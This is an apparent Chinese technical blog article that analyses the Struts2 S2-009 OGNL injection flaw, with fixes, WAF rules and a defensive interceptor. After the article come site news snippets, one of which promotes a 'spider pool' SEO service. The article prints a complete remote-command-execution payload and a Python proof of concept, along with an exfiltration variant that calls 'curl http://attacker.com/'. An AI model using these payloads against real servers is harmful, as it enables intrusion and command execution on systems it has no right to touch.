Struts2 S2-009漏洞深度剖析:OGNL表达式绕过与参数名注入攻击 1. S2-009漏洞背景与核心原理Struts2框架的S2-009漏洞CVE-2011-3923本质上是对S2-003和S2-005漏洞修复方案的绕过。要理解这个漏洞的巧妙之处我们需要先回顾历史补丁的局限性S2-003修复方案官方禁止了OGNL表达式中的#号使用但攻击者通过Unicode编码\u0023或八进制编码\43成功绕过S2-005修复方案框架开始拦截反斜线等特殊字符但忽略了参数值的检查这个漏洞的精妙之处在于它利用了ParametersInterceptor拦截器的设计缺陷——该组件只校验参数名的合法性却对参数值的内容完全放行。攻击者可以通过构造(param)(value)这种特殊语法将恶意OGNL表达式隐藏在合法参数值中。2. OGNL表达式执行模型剖析OGNLObject-Graph Navigation Language作为Struts2的核心表达式语言其(one)(two)执行模型是漏洞利用的关键// OGNL解析器会将这种形式解析为两步执行 (top[foo])(0) // 第一步计算top[foo]的值 // 第二步将计算结果作为新的OGNL表达式用0作为root对象执行实际攻击中攻击者会先通过合法参数名注入OGNL代码GET /action?malicious_param(OGNL代码)(malicious_param)(trigger)1当ParametersInterceptor处理参数时校验参数名malicious_param符合白名单规则将参数值(OGNL代码)存入ValueStack遇到(malicious_param)(trigger)时触发OGNL两步解析3. 漏洞利用链完整拆解3.1 前置条件检测在实施攻击前需要确认目标存在以下特征使用Struts 2.0.0-2.3.1.1版本存在接收String类型参数的Action参数名可通过ParametersInterceptor校验只允许字母数字和部分符号3.2 典型攻击Payload分析以下是一个可执行系统命令的完整Payload/ajax/example5.action?age12313name(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]false,%23_memberAccess[%22allowStaticMethodAccess%22]true,%23ajava.lang.RuntimegetRuntime().exec(%27id%27).getInputStream(),%23bnewjava.io.InputStreamReader(%23a),%23cnewjava.io.BufferedReader(%23b),%23dnewchar[5000],%23c.read(%23d),%23outorg.apache.struts2.ServletActionContextgetResponse().getWriter(),%23out.println(%23d),%23out.close())(meh)z[(name)(%27meh%27)]关键组件解析沙箱绕过denyMethodExecutionfalse关闭方法执行限制allowStaticMethodAccesstrue允许静态方法调用命令执行java.lang.RuntimegetRuntime().exec(id)通过反射调用Runtime执行系统命令结果回显org.apache.struts2.ServletActionContextgetResponse().getWriter()获取HttpServletResponse直接输出结果3.3 利用技巧进阶对于不同场景可以调整Payload结构无回显利用改用DNS外带技术java.lang.RuntimegetRuntime().exec(curl http://attacker.com/)绕过特殊字符过滤使用字符串拼接java.lang.RuntimegetRuntime().exec(cmd.concat(/c).concat(calc))内存马注入结合ClassLoader机制动态加载恶意类4. 漏洞修复方案对比官方最终通过以下方式彻底修复了该漏洞参数值校验机制// 在ParametersInterceptor中添加值校验 if (!Pattern.matches([\\w\\[\\]\\.]*, paramValue)) { return false; }安全配置强化constant namestruts.ognl.excludeClasses valuejava.lang.Runtime,java.lang.ProcessBuilder /版本升级建议立即升级至Struts 2.3.1.2或更高版本对于无法升级的系统可采用以下临时方案interceptor-ref nameparams param nameexcludeParams.*\[.*\].*/param /interceptor-ref5. 防御措施深度实践在实际开发中我建议采用分层防御策略5.1 基础防护// 自定义拦截器示例 public class SecurityInterceptor extends AbstractInterceptor { Override public String intercept(ActionInvocation invocation) { HttpServletRequest request ServletActionContext.getRequest(); EnumerationString params request.getParameterNames(); while(params.hasMoreElements()) { String param params.nextElement(); if(param.matches(.*[\\[\\]()].*)) { return invalidRequest; } } return invocation.invoke(); } }5.2 增强措施WAF规则配置location ~* \.action$ { if ($args ~* [)(]) { return 403; } }运行时防护// 在struts.xml中配置 bean typecom.opensymphony.xwork2.ognl.OgnlUtil classcom.example.SecureOgnlUtil scopedefault/6. 漏洞检测与验证对于安全工程师我推荐以下检测流程版本识别curl -I http://target/ | grep X-Struts-Version漏洞验证POCimport requests def check_s2_009(target): payload ?age123name(%23context[xwork.MethodAccessor.denyMethodExecution]false, \ %23_memberAccess[allowStaticMethodAccess]true, \ %23ajava.lang.RuntimegetRuntime().exec(echotest).getInputStream(), \ %23bnewjava.io.InputStreamReader(%23a), \ %23cnewjava.io.BufferedReader(%23b), \ %23dnewchar[50000],%23c.read(%23d), \ %23outorg.apache.struts2.ServletActionContextgetResponse().getWriter(), \ %23out.println(%23d),%23out.close())(meh)z[(name)(meh)] r requests.get(target /ajax/example5.action payload) return test in r.text自动化工具使用Struts2-Scan等工具进行批量检测BurpSuite插件辅助手工测试7. 从漏洞看框架安全设计通过分析这个漏洞我们可以总结出以下框架设计经验信任边界问题参数名和值应视为同等不可信多层校验机制的必要性默认安全原则// 更安全的ParametersInterceptor设计伪代码 public String intercept(ActionInvocation invocation) { MapString, String safeParams new HashMap(); for (String param : requestParams) { if (isValidName(param) isValidValue(requestParams.get(param))) { safeParams.put(param, sanitize(requestParams.get(param))); } } actionContext.setParameters(safeParams); return invocation.invoke(); }最小化表达式功能禁用静态方法调用等危险功能采用白名单机制控制可访问的类和方法这个漏洞的演变过程生动展示了安全攻防的螺旋上升——每个补丁都可能引入新的攻击面唯有深入理解底层原理才能构建真正安全的系统。

相关新闻

最新新闻

告别复杂操作!天道零门槛外推蜘蛛池秒收平台

告别复杂操作!天道零门槛外推蜘蛛池秒收平台

很多蜘蛛池效果差、弃用率高,核心问题不是原理不行,而是太难用、太繁琐、门槛太高。不少蜘蛛池需要手动搭建站点、批量配置链接、调整参数、定时监控,操作流程复杂晦涩,新手根本无从下手,老手也需要耗费大量时间维护。…

2026/7/16 3:25:25
RStudio 2025:专业数据科学IDE的物理安装与工作流激活

RStudio 2025:专业数据科学IDE的物理安装与工作流激活

1. 为什么2025年还在认真对待RStudio?一个被低估的“数据科学静默引擎”很多人看到“RStudio”四个字,第一反应是:“哦,那个写R语言的编辑器?”——然后顺手点开VS Code装个Python插件,或者直接切去Jupyter…

2026/7/16 3:25:25
IntelliJ IDEA Java开发环境搭建避坑指南

IntelliJ IDEA Java开发环境搭建避坑指南

1. 为什么 IntelliJ IDEA 是 Java 开发者绕不开的“第一站”? 我带过几十个刚毕业的 Java 实习生,也帮上百位转行朋友搭过开发环境。每次问他们“装完 JDK 后第一步干啥”,90% 的人会卡在 IDE 选择上:Eclipse?VS Code…

2026/7/16 3:25:25
WebStorm 2025.1安装指南:离线部署、AI服务配置与企业静默安装

WebStorm 2025.1安装指南:离线部署、AI服务配置与企业静默安装

1. 为什么2025.1版WebStorm安装不再是“点下一步”那么简单?前端圈最近有个微妙的变化:越来越多老手在装完WebStorm 2025.1后第一反应不是写代码,而是盯着IDE右下角的“AI Assistant已就绪”弹窗发呆——不是惊喜,是困惑。我上周帮…

2026/7/16 3:25:25
光电转换原理与信号调理电路设计指南

光电转换原理与信号调理电路设计指南

1. 光强度与电学量转换的基本原理光强度转换为电学量是现代光电检测技术的核心基础。这个过程本质上是通过光电传感器将光信号(光子能量)转换为电信号(电子运动)的物理过程。最常见的实现方式是使用光电二极管、光敏电阻或光电晶体…

2026/7/16 3:25:25
MEMS与ECM麦克风核心技术对比与选型指南

MEMS与ECM麦克风核心技术对比与选型指南

1. MEMS与ECM麦克风的技术本质差异在音频采集领域,MEMS(微机电系统)麦克风和ECM(驻极体电容式)麦克风是两种主流技术方案。它们的核心差异始于物理结构和工作原理:MEMS麦克风采用半导体工艺制造&#xff0c…

2026/7/16 3:20:25

月新闻